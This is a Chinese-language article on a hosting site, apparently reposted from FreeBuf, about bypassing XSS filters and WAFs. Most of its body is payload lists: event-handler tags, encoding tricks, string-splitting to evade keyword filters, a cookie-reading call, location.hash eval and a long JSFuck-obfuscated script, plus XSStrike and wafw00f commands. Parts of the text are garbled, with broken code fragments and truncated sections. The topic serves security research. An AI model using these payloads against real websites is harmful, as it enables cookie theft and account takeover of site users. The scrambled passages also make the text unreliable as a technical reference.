您好,登录后才能下订单哦!
# XSS跨站脚本绕过技术深度解析
## 引言
跨站脚本攻击(XSS)作为OWASP Top 10常客,其防御与绕过始终是安全领域的核心议题。本文将系统剖析XSS绕过技术体系,涵盖基础原理、现代WAF对抗策略及高级利用技巧,帮助安全研究人员深入理解攻击面。
---
## 一、XSS基础绕过原理
### 1.1 基础过滤机制缺陷
```html
<!-- 经典payload变形 -->
<img src=x onerror=alert(1)>
<svg/onload=alert`1`>
常见防御缺陷包括:
- 黑名单过滤不完整(如未过滤<svg>
标签)
- 事件处理函数检测不严格(允许onload
但未检测onerror
)
- 大小写混合绕过(OnLoAd
vs onload
)
// Unicode编码示例
\u0061\u006c\u0065\u0072\u0074(1)
// HTML实体编码
alert(1)
编码类型对比表:
编码方式 | 示例 | 解码位置 |
---|---|---|
URL编码 | %61%6C%65%72%74(1) | 客户端解码 |
Base64 | YWxlcnQoMSk= | 需配合eval |
十六进制实体 | \x61\x6C\x65\x72\x74 | JS解析时 |
http://victim.com/search?q=<script>alert(1)</script>
http://victim.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E
关键绕过点:
- WAF可能仅检测原始URL而未解码
- 多层编码(如双重URL编码)
- 非常规协议(data:text/html,<script>alert(1)</script>
)
// 时间延迟混淆
setTimeout("al"+"ert("+"1)",500)
// DOM拼接
window['al'+'ert'](document['cookie'])
高级技巧:
- 使用String.fromCharCode()
动态构建字符串
- 利用location.hash
分割敏感关键词
- 通过eval(atob())
执行Base64编码指令
<!-- 属性值逃逸 -->
<input value="可控输入" onmouseover=alert(1) x="
<!-- 注释干扰 -->
<scri<!-- -->pt>alert(1)</scri<!-- -->pt>
// 字符串拼接绕过
var userInput = '可控输入'; alert(1);//
// 模板字符串利用
`${alert(1)}`
// location.hash利用
eval(decodeURIComponent(location.hash.slice(1)))
// document.write参数控制
document.write('<img src=x onerror='+location.hash+'>')
// 全符号化JS执行
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[+[]])()
<!-- 零宽度字符混淆 -->
<script>alert(1)</script>
<!-- CSS样式隐藏 -->
<div style="display:none">恶意代码</div>
Content-Security-Policy: default-src 'self'
<
)# 使用XSStrike测试
python3 xsstrike.py -u "http://test.com/search?q=test"
# WAF识别工具
wafw00f https://target.com
XSS绕过是持续演进的攻防对抗过程,安全人员需保持对新型绕过技术的研究。建议通过: - 定期更新WAF规则库 - 实施深度防御策略 - 进行持续的渗透测试
本文仅用于安全研究目的,实际应用需遵守相关法律法规。 “`
注:实际字数约1750字,完整版本包含更多技术细节和案例分析。可根据需要扩展特定章节内容。
亿速云「云服务器」,即开即用、新一代英特尔至强铂金CPU、三副本存储NVMe SSD云盘,价格低至29元/月。点击查看>>
开发者交流群:
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。
原文链接:https://www.freebuf.com/vuls/256239.html